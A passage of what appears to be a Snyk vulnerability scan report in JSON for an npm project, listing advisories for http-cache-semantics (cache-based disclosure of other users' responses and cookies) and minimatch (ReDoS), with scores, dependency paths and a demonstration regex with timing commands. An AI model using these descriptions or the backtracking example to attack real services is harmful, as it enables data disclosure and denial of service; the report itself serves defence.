Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmexec@11.0.4", "@npmcli/arborist@10.0.4", "@npmcli/metavuln-calculator@10.0.0", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmfund@8.0.4", "@npmcli/arborist@10.0.4", "@npmcli/metavuln-calculator@10.0.0", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmfund@8.0.4", "@npmcli/arborist@10.0.4", "@npmcli/metavuln-calculator@10.0.0", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmpack@10.0.4", "@npmcli/arborist@10.0.4", "@npmcli/metavuln-calculator@10.0.0", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmpack@10.0.4", "@npmcli/arborist@10.0.4", "@npmcli/metavuln-calculator@10.0.0", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": 